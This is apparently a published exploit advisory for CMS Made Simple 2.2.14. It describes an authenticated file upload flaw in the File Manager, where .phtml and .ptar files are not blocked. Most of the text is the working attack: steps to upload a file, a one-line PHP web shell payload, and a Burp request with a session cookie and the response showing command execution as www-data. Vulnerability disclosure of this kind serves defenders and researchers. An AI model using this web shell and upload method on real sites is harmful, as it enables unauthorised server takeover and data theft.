CMS Made Simple 2.2.14 - Authenticated Arbitrary File Upload

# Exploit Title: CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated)
# Google Dork: -
# Date: 2020-07-29
# Exploit Author: Roel van Beurden
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: http://s3.amazonaws.com/cmsms/downloads/14793/cmsms-2.2.14-install.zip
# Version: 2.2.14
# Tested on: Linux Ubuntu 18.04
# CVE: N/A


1. Description:
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CMS Made Simple 2.2.14 allows Authenticated Arbitrary File Upload because the File Manager does not block .ptar and .phtml files. A malicious user can perform remote code execution.


2. Proof of Concept:
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- Create .phtml or .ptar file with malicious PHP payload;
- Upload .phtml or .ptar file in the 'File Manager' module;
- Click on the uploaded file to perform remote code execution.


3: Example payload:
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<?php system($_GET['cmd']);?>


4a: Burp request:
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GET /cmsms/uploads/rce.phtml?cmd=id HTTP/1.1
Host: 10.10.10.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Cookie: d2f3b04a992e92af78d4f451813df40fa6f4f4b4=2c462b984c95aa0a8d18f59e2dd21defb7d7e368%3A%3AeyJ1aWQiOjIsInVzZXJuYW1lIjoiUm9lbCIsImVmZl91aWQiOm51bGwsImVmZl91c2VybmFtZSI6bnVsbCwiaGFzaCI6IiQyeSQxMCQ4NS5qSy5nTTMxZmJEQmlGTXlIYlQuUUR5eFRDekpsSVFncjhOS1FMbDhBSUlIUjVYeVNJZSJ9; __c=e9ef732e78dc5a9f603; CMSSESSIDde72be53c754=71mvdcppeeunddtap69k26ia4v

Upgrade-Insecure-Requests: 1


4b: Burp response:
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HTTP/1.1 200 OK
Date: Thu, 30 Jul 2020 23:14:47 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 54
Connection: close
Content-Type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)